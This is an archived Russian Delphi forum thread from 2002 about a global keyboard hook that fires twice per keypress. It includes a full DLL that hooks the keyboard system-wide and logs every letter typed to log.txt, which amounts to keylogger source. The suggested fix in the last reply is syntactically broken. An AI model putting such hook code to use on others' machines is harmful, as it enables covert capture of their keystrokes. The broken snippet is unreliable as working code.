Форум: "WinAPI";
Текущий архив: 2002.04.04;
Скачать: [xml.tar.bz2];
ВнизНарод! Подскажите, что это за глюк! Найти похожие ветки
← →
Serg001 (2002-02-02 16:09) [0]Поставил глобальный hook на keyboard и сама функция hook выполняется при одном нажатии клавиши дважды, почему?
← →
kaif (2002-02-02 16:16) [1]Возможно это связано с тем, что клавиатура дважды посылает скан-код. Первый раз - в момент нажатия, второй - в момент отпускания клавиши. Хотя боюсь соврать.
← →
Serg001 (2002-02-02 16:21) [2]>kaif
А если так, то как это исправить?
← →
Serg001 (2002-02-02 16:40) [3]Неужели никто не знает?
← →
DMN (2002-02-02 16:51) [4]В callback-функцию передается lParam, старший бит которого указывает, была клавиша нажата или отпущена.
if ((lParam and $800000)=0) then
//нажата
else
//отпущена
← →
Serg001 (2002-02-02 17:00) [5]Не помогает.
← →
Builder (2002-02-02 17:48) [6]Покажи, как твы поставил хук. Посмотрим.
← →
Serg001 (2002-02-03 07:00) [7]
library HookDll;
uses Windows, SysUtils;
var CurrentHook: HHook;
Key: char;
CurFile: text;
function GlobalKeyBoardHook(code: integer; wParam: word; lParam: longword): longword; stdcall;
begin
if code<0 then begin
GlobalKeyBoardHook:=CallNextHookEx(CurrentHook,code,wParam,lparam);
Exit;
end;
if ((lParam and KF_UP)=0) and (wParam>=65) and (wParam<=90) then begin
Key:=char(wParam);
if fileexists("log.txt")=false then rewrite(CurFile);
write(CurFile, Key);
end;
CallNextHookEx(CurrentHook, code, wParam, lparam);
GlobalKeyBoardHook:=0;
Exit;
end;
procedure SetupGlobalKeyBoardHook;
begin
CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook, HInstance, 0);
assignfile(CurFile,"log.txt");
If fileexists("log.txt")=false then rewrite(CurFile) else Append(CurFile);;
end;
procedure unhook;
begin
UnhookWindowshookEx(CurrentHook);
closefile(CurFile);
end;
exports SetupGlobalKeyBoardHook index 1,
UnHook index 2;
begin
end.
← →
Serg001 (2002-02-03 07:49) [8]Неужели никто не поможет?
← →
Dimaond Cat (2002-02-05 01:02) [9]А зачем два раза делать CallNextHookEx
попробуй так
function GlobalKeyBoardHook(code: integer; wParam: word; lParam: longword): longword; stdcall;
begin
code=hc_action then begin
if ((lParam and KF_UP)=0) and (wParam>=65) and (wParam<=90) then begin
Key:=char(wParam);
if fileexists("log.txt")=false then rewrite(CurFile);
write(CurFile, Key);
end;
end
result:=CallNextHookEx(CurrentHook, code, wParam, lparam);
end;
если не заработает пиши поделюсь примером
Страницы: 1 вся ветка
Форум: "WinAPI";
Текущий архив: 2002.04.04;
Скачать: [xml.tar.bz2];
Память: 0.46 MB
Время: 0.004 c